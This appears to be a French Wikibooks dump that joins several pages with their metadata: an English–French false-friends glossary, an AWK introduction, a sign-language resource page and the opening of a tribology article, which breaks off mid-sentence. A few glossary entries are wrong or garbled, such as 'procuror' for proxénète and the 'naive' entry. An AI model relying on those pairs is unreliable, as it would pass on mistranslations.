''to achieve'' : accomplir * ''to address'' : aborder (une question, un problème) — ''faux ami partiel'' : peut aussi avoir le sens français * ''to argue'' : disputer, discuter (avec force), plaider * ''to assume'' : supposer ** fr : assumer : ''to take on'' (a responsability…) * ''to attend'' : assister (à une conférence par ex.) * ''sex appeal'' : attirance sexuelle * ''to apologize'' : s'excuser * apologie : ''apologia'', ''apology'' * arguer : ''to infer'' * attendre : to wait ** fr : amortissement : ''depreciation'' ** fr:achevement : ''completion'' ** fr:achever : ''to complete'' ** fr:actuellement : ''presently'' ===B=== * ''bachelor'' : célibataire mais aussi ce qui correspond au DEUG/candidatures/bachelier européen. ** fr:bachelier : ''high school graduate'' * ''to balance'' : tenir ou mettre en équilibre, équilibrer ** fr : balance (comptable) : ''list of accounts'' ** fr : balancer (bercer) : ''to rock'' ** fr : balancer (hésiter) : ''to sway'' ** fr : balancer (jeter) : ''to throw'' * ''balance'' : balance, mais aussi équilibre ; bilan comptable (et non la balance comptable) * ''barracks'' : caserne ** fr:baraque (sur un chantier) : ''booth'' * ''based on'' : basé à (sens géographique), mais aussi fondé sur * ''basic'' : essentiel, fondamental (le sens anglais tend à se généraliser en français) ** fr : basique (primaire) : ''primary'' * ''basket'' : corbeille, panier ** fr: des baskets : ''basketball '''shoes''''' * ''blanket'' : couverture ** fr : blanquette (boisson) : (kind of sparkling white wine) ** fr : blanquette de veau : (comme en français) * ''to bless'' : bénir ** fr:blesser : ''to injure'' * ''bribe'' : pot-de-vin ** fr:bribe : ''fragment'', ''piece'', ''snippet'' ===C=== * ''calculus'' : analyse (branche des mathématiques) ** fr:calcul : ''calculation'' * ''camera'' : appareil photographique. Voir ''still camera'' et ''video camera'' * ''candid'' : sincère * ''car'' : voiture ** fr:(auto)car : intercity bus * ''cave'' : caverne, grotte * ''chance'' : hasard, risque * ''character'' : personnage * ''chauvinist'' : machiste, mais peut aussi être employé dans le sens de « chauvin » ** fr : chauvin : ''jingoistic'' * ''chef'' : cuisinier ** fr:chef : ''chief'' * ''chemist'' : chimiste, mais aussi pharmacien ou pharmacie (R-U) * ''college'' : université (É-U), lycée (R-U) * ''comment'': un commentaire * ''commissioning'' : mise en service (d'un outillage, d'une machine, d'une usine, d'un bateau) ** ''decommissioning'' : mise hors service, désarmement * ''committed'' : engagé * ''company'' : entreprise, société * ''competition'' : concurrence (mais aussi la compétition comme « rivalité sportive » et comme « concours ») * ''comprehensive'' : global, total, complet ** fr:compréhensible = comprehensible * ''concerned'' : inquiet - faux ami partiel * ''concurrence'' : concours de circonstance, coïncidence * ''confidence'' : confiance - faux ami partiel * ''congratulations'' : félicitations ** fr:congratulations : félicitations militaires * ''consistent'' : cohérent * ''content'' : un contenu * ''corpse'' : cadavre ** fr : corps = body * ''crime'' : délit, délinquance ** crayon (à papier) : pencil * ''crayon'' : crayon de couleur * ''cup'' : tasse * ''curator'' : commissaire d'exposition * ''cure'' : remède (verbe : guérir) * ''current'' : actuel * ''to complete'' : terminer, achever, accomplir jusqu'au bout * ''to control'' : maîtriser, commander ** fr : contrôler, vérifier : ''to check'' ** ''remote control'' : télécommande (litt. « commande à distance ») ; ''self control'' : maîtrise de soi) ===D=== * ''date'' : rendez-vous * ''decade'' : décennie ** fr : décade = tenday * ''deception'' : tromperie, duperie ** ''to deceive'' : tromper * ''definitely'' : décidément, à coup sûr, sans aucun doute * ''delay'' : retard * ''to demand'' : éxiger * ''demonstration'' : manifestation publique * ''density'' : en [[anglais]] le mot ''mass-density'' est souvent réduit à ''density'' pour signifier [[masse volumique]]. La [[densité]] comme définie dans le système métrique se traduit, en anglais, dans le système de mesures anglo-saxon, en ''"Specific Gravity"''. * ''department'' : service (d'un bureau), rayon (d'un magasin) * ''depraved'' : pervers ** fr : dépravé : ''reprobate'' * ''depreciation'' : amortissement (d'un bien) * ''derogatory'' : péjoratif, dépréciatif * ''disagreement'' : désaccord * ''disco'' : discothèque * ''disposable'' : jetable (''disposable camera'' : appareil photo jetable) * ''dispute'' : conflit, désaccord, contentieux ** fr:dispute : ''argument'', ''quarrel'' * ''to demand'' : exiger * ''to deserve'' : mériter * ''dramatic'' : souvent employé dans le sens de « significatif » (''dramatic increase'' : une augmentation significative, et non une augmentation dramatique), bien que le sens de « dramatique » existe aussi * ''dungeon'' : basse-fosse, cachot ** fr : donjon = Keep ===E=== * ''ecstasy'' : extase (aussi [[ecstasy]]) * ''effective'' : efficace * ''emphasis'' : accent * ''engaged'' : fiancé(e) ** fr : engagé : ''committed'' * ''event'' : événement * ''eventual'' : final * ''eventually'' : finalement, un jour ou l'autre * ''evidence'' : preuve * ''to evince'' : faire preuve de * ''exhibition'' : exposition ** exhibition : ''display''. Exposition est aussi correct, mais moins fréquent * ''extra'' : supplémentaire ===F=== * ''falsifiable'' : réfutable (cf. [[Karl Popper]]) * ''fantasy'' : fantasme * ''female'' : femelle pour les animaux, mais ''de sexe féminin'' pour les personnes. ''A female actor'', ''a female writer'', etc. * ''figure'' : silhouette, apparence, chiffre, et plus rarement figure géométrique * ''furnished'' : meublé * ''furniture'' : les meubles, le mobilier ** fr : un meuble : ''a piece of furniture'' * ''future'' : avenir (nom); futur (adjectif), à venir ===G=== * ''gender'' : genre (grammatical), sexe (masculin, féminin) * ''gently'' : doucement ** fr:gentiment : kindly * ''global'' : mondial, global * ''grief'' : chagrin ** fr:un grief : a grievance * ''groin'' : aine ** fr:groin (d'un cochon…) : snout * a ''groom'' : un jeune marié ou un palefrenier ** fr:''groom'', portier, garçon d'étage : ''bellboy'' ===H=== * ''hazard'' : danger, risque ou péril * ''happy with'' : satisfait de ===I=== * ''to ignore'' : refuser de prendre quelque chose en compte ** fr: ignorer (ne pas connaître) : ''not to know'' * ''impeachment'' : procédure de destitution (USA) ** fr:empêchement : ''impediment'' * ''inhabited'' : habité ** fr:inhabité : ''uninhabited'' * ''to injure'' : blesser (physiquement) ** fr:injurier : ''to revile'' * ''insane'' : fou (et non pas « malade ») * ''intelligence'' : informations, renseignement (dans les services secrets) — faux ami partiel, peut avoir le même sens qu'en français * ''to intoxicate'' : enivrer ** fr: intoxiquer : ''to poison'' ** fr: enivrer : ''to inebriate'' * ''issue'' : sujet, question, problème, exemplaire (d'un magazine par exemple) ** fr:issue : ''exit'' , ''egress'' (pl. egresses) * ''to issue'' : fournir, pourvoir, émettre (un chèque) ===J=== * ''journey'' : voyage ===K=== ===L=== * ''language'' : langue (parlée, comme le français ou l'espagnol) ou langage (sans ''u''. La capacité de s'exprimer par une langue) * ''language'' : langue (parlée, comme le français ou l'espagnol) * ''large'' : grand * ''lecture'' : conférence * lecture : ''reading'' * ''library'' : bibliothèque ** fr:librairie = ''bookshop'' ** en [[informatique]] : on rencontre aussi le terme « library » et l'on peut voire deux traductions « [[Bibliothèque (logicielle)|bibliothèque]] » et « librairie », les puristes préfèrent la première traduction mais librairie est plus courante. * ''liberal'' : a le sens de social-démocrate en anglais américain * ''location'' : emplacement ** fr:location : renting * ''lot'' : s'emploie généralement pour ''Beaucoup'' (''a lot'', ''lot of''). Le mot peut tout de même prendre son sens français dans une expression telle que ''to be satisfied with one’s lot'' (être content de son sort, satisfait de son lot) * ''lunatic'' : fou, aliéné ** fr : lunatique : ''whimsical'' ===M=== * ''main'' (adj.) : principal ** fr:main : hand * ''male'' : mâle pour les animaux, mais ''de sexe masculin'' pour les personnes * ''malice'' : méchanceté * ''medicine'' : médecine, mais aussi médicament * ''menu'' : carte * ''mercy'' : grâce, pitié (rel. ''Lord, have mercy of us'' : Seigneur, prends pitié) * ''Mexico'' : Mexique ou Mexico (La ville de Mexico est aussi appelée ''Mexico City'' parfois) * ''miserable'' : misérable, mais aussi très malheureux * ''mutual'' : peut avoir le sens de « réciproque » (Zorin : ''I like you James'' - Bond : ''It's not mutual'', in ''a view to a kill, 1985'') ===N=== * naive ([[épicène]] : ignorant ** fr:naïf/naïve : clueless * ''news'' (sing.) : les nouvelles ** ''the news '''is''' not so good'' : les nouvelles ne sont pas très bonnes ** une nouvelle (information) : '''''a piece of''' news'' * ''to notice"" : remarquer * ''novel'' : roman ** nouvelle se dit ''novelette'' ou ''short story''. Ne pas confondre avec la ''novella'', qui est un format intermédiaire entre la nouvelle et le roman. ===O=== * ''offensive'' : offensant, outrageant * ''opportunity'' : occasion ** fr:opportunité : advisability * ''or'' : ou ** fr:or : gold * ''original'' : ** (''first'' ou primaeval (UK)/primeval) premier, originel, primitif ** (''novel'') original ===P=== * ''to pass an exam'' : réussir à un examen ** fr:passer un examen = to take an exam * ''patron'' : client (d'un restaurant). Se dit pour un habitué (''habitué'' existe aussi, pour une boîte de nuit) ** fr : patron : ''boss'' * ''pest'' : peste figurée – rats, personne insupportable (« petite peste ») ** fr : peste : ''plague'' (qui signifie aussi fléau au sens figuré, le sens propre (arme ou outil étant ''flail'') ** fr : Peste Noire : 'Black Death'' * ''photograph'' : photographie ** fr : un photographe : ''a photographer'' * ''physician'' : médecin ** fr:physicien = ''physicist'' * ''plant'' : usine - faux ami partiel * ''police'' (plur.) : la police ** ''the police '''are''' here to fight the crime'' : la police est là pour combattre le crime * ''pregnant'' : enceinte (adj.) * ''premises'' : locaux commerciaux ou industriels ** fr:prémisses : ''forewarning'' * ''preservative'' : conservateur (de nourriture) ** préservatif : condom ou ''French letter'' (familier) * ''pretend'' : faire semblant ** fr:prétendre : ''to allege'' ** fr:prétendre à : ''to claim'' * ''procuror'' : proxénète ** fr : procureur : ''attorney'' (États-Unis et Canada) ou ''prosecutor'' (Grande-Bretagne) * ''prominent'' : grand, important, prépondérant, frappant, significatif * ''property'' : propriété * fr : propreté : cleanlyness ===Q=== * ''to query'' : questionner ===R=== * ''race'' : course * ''to realize'' : (sens figuré) se rendre compte (on se rend compte de qqch et on réalise un projet)- erreur très fréquente, réaliser * ''to rebalance'' : réequilibrer * ''to regard'' : aussi considérer * ''relevant'' : pertinent * ''reliable'' : fiable, fidèle, crédible * ''to resign'' : démissionner * ''response'' : réaction * ''to resume'' : reprendre (une activité) * ''résumé'', ''resume'' : curriculum vitae. Ce mot étant issu du français on peut le voir écrit avec des accents même dans un texte en anglais. ** fr : résumé : ''summary'' ou ''abstract'' * ''to report'' : rapporter (faire un rapport) ** fr : reporter : ''to postpone'' ** fr : rapporter (un object) : ''to bring back'' * ''retribution'' : châtiment ** fr :rétribution (salaire) : ''wages'' * ''routine'' : une procédure. En informatique : une suite d'instructions (« routine », mot passé en français). Au théâtre : une partie d'une scène. * ''route'' : itinéraire ===S=== * ''scientist'' : scientifique, mais aussi scientiste * ''secular'' : séculier (clergé [[séculier]]) ** fr : séculaire : ''age-old'' * ''security'' : garantie ** fr : sécurité : ''safety'', ''safeness'' * ''sensible'' : sensé, raisonnable * ''sensitive'' : sensible ** fr : sensitif : ''sensory'' * ''sentence'' : phrase - faux ami partiel, peut avoir le même sens en français * ''sequel'' : une suite (au cinéma, ex.: ''Spiderman II''). ** séquelles (d'une maladie) : ''after effect'' ** séquelles (d'une guerre) : aftermath * ''several'' : plusieurs * ''situation'' : peut signifier problème (''sir, we got a situation here'') * ''staff'' : le personnel d'une entreprise (tout le personnel, pas seulement celui de direction) * ''support'' : soutien, prendre en charger, reconnaître [l'usage anglais tend à passer en français, notamment dans le monde du sport (Je supporte cette équipe, j’en suis un ''supporter'') et de l'informatique (support informatique, supporter une fonction)] * ''surname'' : nom de famille ** fr : surnom : ''nickname'' * ''sympathy'' : compassion, condoléances, commissération ===T=== * ''trap'' : piège ** fr:trappe : trap door * ''tape'' : la bande, la cassette ** fr:(une) tape : (a) blow * ''tissue'' : mouchoir en papier, mais aussi tissu, étoffe * ''trap'' : piège et non pas trappe * ''trivial'' : insignifiant, sans péjoration ** 'trivial (avec péjoration) : ''unimportant'' * ''turnover'' : chiffre d'affaires d'une entreprise (montant des ventes) * ''typically'' : habituellement ===U=== * ''to use'' : utiliser * ''trade union'' : syndicat (de salariés) ===V=== * ''vacant'' : vide, désœuvré, distrait * ''vacancy'' : [[wikt:vacance|vacance]] ** fr: vacances : ''holidays'', ''vacation'' (US) ** fr: férié (adj.), jour férié : ''holiday'', ''bank holiday'' (UK), ''national holiday'' (US) – sans s * ''vessel'' : vaisseau ** fr: vaisselle : ''dishes'' * ''vicar'' : vicaire ou pasteur * ''vicious'' : méchant, rageur ===W=== * ''wagon'' : chariot, fourgon Warning = avertissement ===Y=== ===Z=== ==Voir aussi== * [[Faux amis en espagnol]] == Liens externes == * [http://www.termisti.refer.org/faintro.htm Mille faux amis en langue française] : il s'agit d'un site d'une école de traduction. * [http://french.about.com/library/fauxamis/blfauxam.htm French-English False Cognates - Faux amis] <!--* [http://france.englishclub.com/faux.htm] Lien mort-->* [http://membres.lycos.fr/jeuxdelettres/HTML/faux_amis/faux_amis.htm Faux amis] (site très complet) * [http://villemin.gerard.free.fr/Langue/FauxAmis.htm Bon à savoir, Faux-amis en anglais] Une liste assez complète de faux amis. * [http://www.anglaisfacile.com/pages/images/fauxamis.php Les faux-amis les plus courants] (courte liste). [[Catégorie:Faux amis|Anglais]] [[Catégorie:Anglais|Faux amis]] Programmation Awk Introduction 961 12617 2004-11-10T15:49:34Z Esope 99 repris de l'ancien site, fait par Traroth AWK est un langage de manipulation de chaînes de caractères, disponible sur la plupart des systèmes Unix. Il agit comme un filtre qui prend un fichier en entrée et écrit sur la sortie standard, que l'on peut rediriger vers un autre fichier. AWK lit le fichier d'entrée ligne par ligne, puis sélectionne (ou non) les lignes à traiter par des expressions régulières (et éventuellement des numéros de ligne). Une fois la ligne sélectionnée elle est découpée selon un séparateur d'entrée (qui par défaut correspond au caractère espace). Puis les différents champs sont disponibles : $1 $2 $3 ... La syntaxe est proche du [[Programmation C|C]] et l'on dispose de fonctions, d'instructions de contrôles conditionnels (if else par exemple). On affiche à la sortie standard par print ou printf. Lorsque l'on écrit <pre>print $1,$2,$3</pre> le séparateur de sortie est utilisé, et il peut être différent de celui du fichier en entrée. Le nom de ce langage vient des noms des trois créateurs, Alfred V. Aho, Brian W. Kernighan et Peter J. Weinberger. Modèle:Supprimer 963 16695 2005-07-18T13:51:00Z Yann 2 #REDIRECT [[Modèle:Suppression]] #REDIRECT [[Modèle:Suppression]] Langue des signes française 965 41005 2006-04-27T00:11:11Z 86.72.93.47 /* [[LSF/Leçons|Leçons]] */ ortho __NOTOC__ [[Image:LSF_VocabThumb_lsf.jpeg|right|La Langue des Signes Française]] La '''langue des signes française''' (LSF) est une langue gestuelle qui est utilisée par certains sourds-muets et malentendants en France. Ce site est une collection des ressources pour l'apprentissage de la langue des signes française. :Le but est de rendre les cours de LSF plus efficaces en proposant des exercices pour le travail à la maison. Si vous souhaitez apprendre la LSF, nous vous conseillons vivement de suivre une formation avec un enseignant sourd. Le livre peut completer cette formation, mais il ne peut pas la remplacer. Vous trouverez sur les pages suivantes des outils pour vous aider à comprendre et progresser en LSF : ===[[LSF/Grammaire|La grammaire en LSF]]=== '''Prérequis''' pour comprendre la structure et le fonctionnement de la LSF. ===[[LSF/Leçons|Leçons]]=== Organisées par '''niveau''' (du ''niveau 1'' au ''niveau 12'') : une '''progression''' pour apprendre la LSF pas à pas. ===[[LSF/Vocabulaire|Le vocabulaire]]=== Des '''signes en photos ou vidéos''' pour enrichir son expression en LSF (classer ordre alphabétique, par thèmes ou par [[LSF/Configurations|Configuration]]). ===[[LSF/Exercices|Exercices]]=== Des exercices sous formes de vidéos pour s'entraîner à signer !! Bien que pour progresser nous ne pouvons que vous conseiller de pratiquer avec des amis sourds... :-) : : : ---- ===Pour en savoir plus...=== ====Ressources libres sur [http://fr.wikipedia.org/wiki/Accueil/ wikipédia]==== * La '''[[w:LSF|LSF]]''' : son ''histoire'', ''la génèse des signes'' et avoir ''des références bibliographiques''. * '''[[w:Surdité|Les sourds]]''' : leur ''histoire'', les ''causes de la surdité'', la ''classification des surdités'', les ''différents moyens de communication'', l’''éducation des sourds''. * La '''[[w:Culture Sourde|Culture sourde]]''' : Pour en savoir plus sur l’''identité'' sourde, la ''communauté'', les ''comportements'', les ''valeurs'', les ''traditions''. * Quelques '''personnes célèbres''' dans le monde sourd : ** [[w:Abbé_de_l'Epée | Abbé de l'Epée]] ; ** [[w:Ferdinand_Berthier | Ferdinand Berthier]]. ====D'autres liens externes==== * Un [http://www.lsf.education.fr/ lexique de termes specialisés LSF] * [http://www.france5.fr/oeiletmain/ L'oeil et la main] est un émission sur France 5 en LSF. Vous pouvez aussi regarder les archives sur le web pour travailler votre comprehension! * [http://www.univ-paris3.fr/esit/fil_lsf.html ESIT ( L'école Supérieure d'interprètes et de traducteurs)] * [http://www.ifrance.com/serac/ SERAC (Sourds Entendants Recherche Action Communication)] * http://surdite.lsf.free.fr/ * [http://en.wikibooks.org/wiki/American_Sign_Language Le wikilivre sur la langue des signes américaine] (en anglais) * [http://cis.gouv.fr cis.gouv.fr] : Le Centre d'information sur la surdité propose de nombreuses ressources, notamment des dessins et schémas sur la linguistique de la langue des signes. ====Où apprendre la LSF==== * '''Arras''': :- Trèfle [http://www.trefle.org/ Trèfle] * '''Paris''': :-formation en LSF (jusquà l'interprétariat) à la fac de Saint-Denis [http://www.univ-paris8.fr/recherche.php3?recherche=LSF infos ici] :-lieu pour suivre des '''Cours''' : [http://www.ivt.fr '''IVT Institut Visual Theater'''] :-lieu pour '''Discuter avec de sourds''' : [http://www.entraideuniversitaire.asso.fr/cafe le Café Signes] :- lieu pour voir du théâtre en LSF/Français : IVT * '''Nancy''': Urapeda (adresse ?) * '''Nantes''' : :- lieu où '''Théâtre''' en LSF/Français : stages et spectacle avec [http://www.mondoral.org/cultivart '''Association Cultiv'Art'''] * '''Lille''' : :- C.F.L.S [http://site.cyberassos-lille.org/cfls CFLS] * '''Lyon''' : :- lieu où '''Théâtre''' en LSF/Français : stage et spectacle avec le [http://www.nth8.com/nth8/index.html '''Nouveau Théâtre du 8ème'''] * '''Toulouse''': [http://www.lesiris.free.fr IRIS] [[Catégorie:Langue|Signe]] Tribologie - Généralités 968 43317 2006-05-27T20:08:55Z Jean-Jacques MILAN 114 /* Petit lexique français-anglais */ ajout [[en:Tribology]] [[nl:Tribologie]] [[ja:トライボロジー]] [[Catégorie:Tribologie]] {{Modèle:Tribologie}} == Introduction == === Un peu d'histoire et de vocabulaire === « ''Frote ses dois, frote ses mains'' », écrit (avec l'orthographe de l'époque) le poète [[w:Gautier d'Arras|Gautier d'Arras]] au XIIe siècle. L'origine du verbe frotter se perd dans la nuit des temps. Il est étrange que les mots frotter, frottement, frotteur, friction, soient utilisés dans le langage courant aussi souvent et avec des sens aussi divers, dans des expressions comme : *l'escalier est usé par le frottement des chaussures, *les deux pièces sont assemblées à frottement doux, *après le choc, la roue frottait contre la carrosserie, *les Romains se frottaient d'huiles parfumées après le bain, *la bonne a frotté les parquets, *le peintre a frotté l'esquisse de son tableau, *la locomotive est alimentée grâce à un frotteur, *on entendait un léger frottement, *ils se sont frottés pour se réchauffer, *il faut vous frotter aux difficultés pour progresser, *voire ... vous allez vous faire frotter les oreilles ! Les phénomènes de frottement, d'usure, et tous ceux qui leur sont liés, ont été de tous temps mis à profit et étudiés à diverses fins. Le vocabulaire a beaucoup évolué au fil des époques, faisant écho aux évolutions des techniques industrielles et des théories scientifiques. Lydie Mariac, auteur du gros livre ''Introduction à l'étude du frottement'', a fait sur ce sujet une étude lexicographique particulièrement intéressante. Dans son ''Thresor de la langue francoyse'', publié à Paris en 1616, J. Nicot rapproche le mot frottement du latin ''affrictus'' et le verbe frotter de ''fricare''. Le ''Dictionnaire de l'Académie françoise'', en 1694, définit le frottement comme ''la collision de deux choses qui se frottent''. Plus tard, en 1878, la notion de collision disparaît au profit d<nowiki>'</nowiki>''action de frotter'', ''action de deux choses qui se frottent''. En 1932, les références à la mécanique se font beaucoup plus précises et l'on parle de ''frottement doux'', de ''frottement de pivotement'', etc. Le mot '''[[w:tribologie|tribologie]]''', construit à partir des racines grecques ''tribein'' (frotter) et ''logos'' (discours, étude), a été proposé en 1968 par G. Salomon pour désigner la science qui étudie les phénomènes susceptibles de se produire lorsque deux corps en contact sont animés de mouvements relatifs. Il recouvre, entre autres, tous les domaines du '''frottement''' proprement dit, de l<nowiki>'</nowiki>'''usure''' et de la '''lubrification'''. === Vue d'ensemble === La tribologie s'intéresse à l'étude et à l'interprétation scientifique des faits expérimentaux, mais elle a également un but très concret dans tous les domaines qui touchent à la technologie : rechercher et codifier les méthodes qui permettent de donner un « bon comportement » aux contacts mécaniques, sachant que les organes qui constituent les machines « lâchent » aujourd'hui bien plus souvent par leurs surfaces que par leur volume. La connaissance de la tribologie est devenue une nécessité pour de multiples raisons : * assurer le bon fonctionnement et la [[W:fiabilité|fiabilité]] des machines, * diminuer le coût d'obtention des surfaces frottantes, * améliorer le [[W:rendement|rendement]] et la [[W:durée de vie|longévité]] des machines, * assurer la sécurité des biens et des personnes, particulièrement dans le domaine des transports, * contribuer à la [[W:Santé publique|santé publique]] et au confort, par exemple en diminuant les [[W:bruit|bruit]]s, très nombreux, liés aux contacts mécaniques. Ce sujet d'une rare universalité nous conduira à explorer de très nombreux aspects des sciences et des techniques, le frottement et l'adhérence, bien sûr, mais aussi : * la [[W:science des matériaux|science des matériaux]], pour des raisons évidentes, * la [[W:cristallographie|cristallographie]], car il faut considérer les propriétés des microcristaux et de leurs arrangements pour former les couches superficielles des pièces, * la [[W:physicochimie des surfaces|physicochimie des surfaces]], en particulier pour ce qui concerne les propriétés et la composition des couches superficielles, la solidité de leur accrochage sur le substrat et leurs interactions avec les lubrifiants, * la [[W:thermodynamique|thermodynamique]], car les phénomènes thermiques et en particulier les pics de température atteints lors des chocs d'aspérités influent sur les comportements des surfaces et sur l'usure, * la [[W:thermochimie|thermochimie]], car ces hautes températures engendrent de nombreuses réactions chimiques dans les interfaces, * la [[W:résistance des matériaux|résistance des matériaux]], en particulier dans le cas des contacts dits « ponctuels » ou « linéiques » qui peuvent être détruits non pas à cause des contraintes superficielles, mais par suite de la fatigue des sous-couches, * domaines auxquels il faut ajouter (en vrac) les pressions de contact, l'usure, la lubrification, les matériaux, les traitements thermiques, les traitements et revêtements de surfaces ... === La tribologie dans la vie et dans l'enseignement === Tout être humain pratique le frottement comme [[W:Le Bourgeois gentilhomme|Monsieur Jourdain]] pratiquait la prose. Il suffit, pour s'en convaincre, de considérer à quel point nos gestes les plus courants intègrent les [[W:force|force]]s de frottement. Peu de gens en ont réellement conscience. Ces forces, techniciens et ingénieurs doivent apprendre à les utiliser autant qu'à les combattre. La maîtrise de l'usure et de la [[W:espérance de vie|durée de vie]] des machines est d'ailleurs, dans nos Sociétés où l'humanisme cède trop souvent la place à des « valeurs » d'une toute autre nature, une arme économique redoutable. Que serait notre monde sans frottement ni adhérence ? Imaginons nos voitures et nos trains patinant sans espoir d'avancer, si ce n'est dans les pentes descendantes, quant aux vélos ... Impossible de lacer nos chaussures, d'ailleurs inutiles car nous ne pouvons plus marcher. Plus de nœuds de cravate, ni de tas de sable, ni d'assemblages cloués ou vissés, ni d'échelles appuyées aux murs. Un monde sans frottement serait encore plus invivable qu'un monde avec des frottements décuplés ... La tribologie est trop peu enseignée, pour de multiples raisons. Les responsables des programmes pédagogiques ignorent eux-mêmes à peu près tout de ce domaine et de ses aspects économiques. L'absence presque totale de lois physiques reconnues interdit les brillants exposés magistraux et les savants calculs qui « valorisent » leurs auteurs ; la masse considérable de connaissances encyclopédiques nécessaire à un enseignement sérieux ne peut être acquise qu'au fil des années. Ici, l'expert que l'on interroge doit bien souvent avouer son ignorance ; avançant lui-même à tâtons, avec d'autant plus de difficulté qu'il s'est aventuré plus loin, il n'a pas le beau rôle. En outre, les données vraiment utiles sont plus dispersées dans le flot des publications et la masse des idées reçues que les pépites dans le sable des torrents. N'est-il pas étonnant par exemple de constater que sur 100 [[W:roulement à billes|roulements à billes]] ou à [[W:roulement à rouleaux|rouleaux]] détruits, 9 seulement l'ont été par le processus d'usure « naturel » qui sert de base à leur calcul ... En fait, les deux tiers des avaries sont dues à des défauts de lubrification et/ou de montage, au sens très large du terme, et ces questions-là ne sauraient être traitées à l'aide de quelques équations. Partager ses connaissances, ouvrir des portes sur l'inconnu, offrir aux lecteurs l'occasion d'être curieux, est passionnant. Mais enseigner la technique n'est pas seulement faire un « arrêt sur l'image », c'est aussi réfléchir à son évolution. C'est pourquoi nous ne manquerons pas d'évoquer aussi les aspects historiques du sujet. === Petit lexique français-anglais === La langue anglaise est à la fois plus précise et plus imprécise que la langue française pour tout ce qui concerne les notions tribologiques. Voici les correspondances de quelques termes que le lecteur trouvera couramment dans la littérature technique : {| border="1" cellspacing="0" cellpadding="5" |- | friction | frottement (au sens mécanique, force opposée au mouvement) |- | to rub | frotter (au sens de frictionner ou d'essuyer quelqu'un) |- | rubbing | action de frotter |- | rubber test | test, essai de frottement |- | to scrub | frotter (pour nettoyer), récurer, |- | scrubbing | frottement avec les mains |- | scraping | bruit provoqué par le frottement |- | friction factor, coefficient of friction | coefficient ou facteur de frottement |- | dry rubbing | frottement à sec |- | sliding friction | frottement de glissement |- | skin friction | frottement superficiel |- | rubbing strip | baguette de protection latérale (véhicules) |- |} == Des difficultés particulières ... == Le frottement est multiforme et ne se laisse pas découvrir facilement. Chacun de ses aspects, pour être compris, nécessite la compréhension de beaucoup d'autres. « Cette question des frottements est une des plus complexes qu'ait à connaître le mécanicien : les phénomènes observés y sont fonction d'un nombre remarquablement élevé de facteurs ; eux-mêmes sont des notions fluctuantes dépendant de plusieurs variables et s'imbricant les unes dans les autres », écrit Jean-Jacques Caubet (Théorie et pratique industrielle du frottement). * Voici un domaine où '''les paramètres sont extrêmement nombreux'''. Les chercheurs du Centre Technique des Industries Mécaniques (CETIM) en ont recensé quelques 150 à 200 qui interviennent dans pratiquement tous les problèmes industriels de frottement, y compris ceux qui paraissent les plus simples. * Voici un domaine où l'on peut presque toujours '''affirmer une chose et son contraire''' : :- l'eau '''diminue''' l'adhérence de deux objets, comme les pneumatiques d'une automobile sur une route mouillée ... :- l'eau '''augmente''' l'adhérence de deux objets, comme une tasse en porcelaine dans un plateau en plastique stratifié ... * Voici des '''comportements discontinus'''. Quand l'[[w:antimoine|antimoine]] glisse sur l'acier, les surfaces se polissent en-deçà d'une vitesse critique de 1280 km/h et au-delà, elles volent en poussière. Une véritable « fonction échelon » ! Sans être aussi extrêmes que celui-ci, de tels comportements ne sont pas rares. Certaines machines, comme les [[W:moteur hydraulique|moteurs hydrauliques]] à pistons axiaux, sont limitées en puissance car au-delà d'une certaine limite, on ne maîtrise plus les problèmes tribologiques et les lois de similitude habituelles en mécanique des fluides ne peuvent plus s'appliquer. Difficile, dans de telles conditions, de prévoir le résultat d'une extrapolation ... *Voici l'influence de '''paramètres infimes''', ce que l'on peut traduire par '''petites causes, grands effets''' : le [[w:graphite|graphite]] frotte très bien sans lubrification sur l'[[w: acier|acier]] si l'air ambiant contient des traces de vapeur d'eau, quelques parties par million suffisent, sinon il colle au métal et s'arrache. * Voici un domaine où les '''échelles''' varient de manière considérable. Les dimensions des éléments étudiés, par exemple, vont de plusieurs dizaines de mètres pour les grosses machines à quelques nanomètres pour les effets interatomiques. Il en est de même pour les masses, les forces, les vitesses ... * Voici un domaine qui '''frise souvent l'irrationnel'''. Comment, par exemple, un phénomène d'usure aussi destructeur que la corrosion de contact pourrait-il dépendre de la '''langue du pays''' ? Et pourtant ... Savoir comment une craie écrit sur un tableau, ou un crayon sur du papier, ne permet pas de pronostiquer qu'un objet A écrira sur un objet B. À cause des phénomènes de frottement, les calculs théoriques ne suffisent pas pour garantir que les machines que l'on projette de réaliser fonctionneront à coup sûr. Les techniciens et les ingénieurs doivent disposer d'une panoplie de solutions éprouvées et connaître les erreurs à éviter. Bien que l'expérience de l'humanité soit relativement riche, maints problèmes apparemment anodins n'ont reçu à ce jour aucune solution vraiment satisfaisante : par exemple, on ne sait pas très bien fixer les tuyaux ... et celui qui trouvera LA solution sera à l'abri de la misère pour plusieurs siècles. == Les manifestations du frottement == Elles ne sont pas toutes évidentes ! ''Article détaillé'' : '''[[Tribologie - Manifestations du frottement]]''' == Diverses approches de la tribologie == La tribologie peut être approchée de diverses manières : * le « '''tribologue''' » cherche, interroge les atomes, cherche encore ... et parfois fait un petit pas en avant dans la compréhension des phénomènes, * le '''ministre des finances''' se demande à combien vont s'élever à la fin de l'année, pour le pays tout entier, les pertes économiques dues au frottement, à l'usure, à l'entretien des machines et équipements, ... et s'arrache les derniers cheveux en voyant l'addition, * l<nowiki>'</nowiki>'''ingénieur''' essaie de trouver la moins mauvaise solution au problème qu'on lui a posé, sa formation en tribologie est souvent très insuffisante et il sait que le produit de ses cogitations devra être vendu et donner satisfaction à un client. Ce n'est jamais gagné d'avance ! ''Article détaillé'' : '''[[Tribologie - Diverses approches]]''' == Modélisation des actions de contact == Il est important de savoir comment représenter les actions mécaniques, et spécialement celles qui sont liées aux résistances passives, avant de se lancer dans de savants calculs ... ''Article détaillé'' : '''[[Tribologie - Modélisation des actions de contact]]''' == Genèse des frottements == Les causes du frottement, telles qu'on les imagine de nos jours, sont multiples et interdépendantes. De tous temps on a cherché à comprendre ce phénomène, avec plus ou moins de succès, par la spéculation intellectuelle et par l'expérience. C'est aux Anglais Bowden et Tabor que l'on doit d'avoir énoncé pour la première fois des idées claires sur le sujet, mais il est intéressant de considérer les divers cheminements intellectuels qui ont été suivis au cours des siècles. Une étude complète du problème ne saurait se limiter aux seules surfaces d'objets réputés secs et propres, puisqu'une partie au moins des résistances passives a son origine à l'intérieur même des matériaux et dans les films lubrifiants solides, liquides et gazeux dont on fait largement usage dans les machines. Le frottement immédiat entre deux pièces mécaniques, c'est-à-dire celui qui a lieu sans interposition du moindre produit, lubrifiant ou autre, est l'exception. Le frottement médiat, qui met en jeu d'autres éléments que les deux pièces 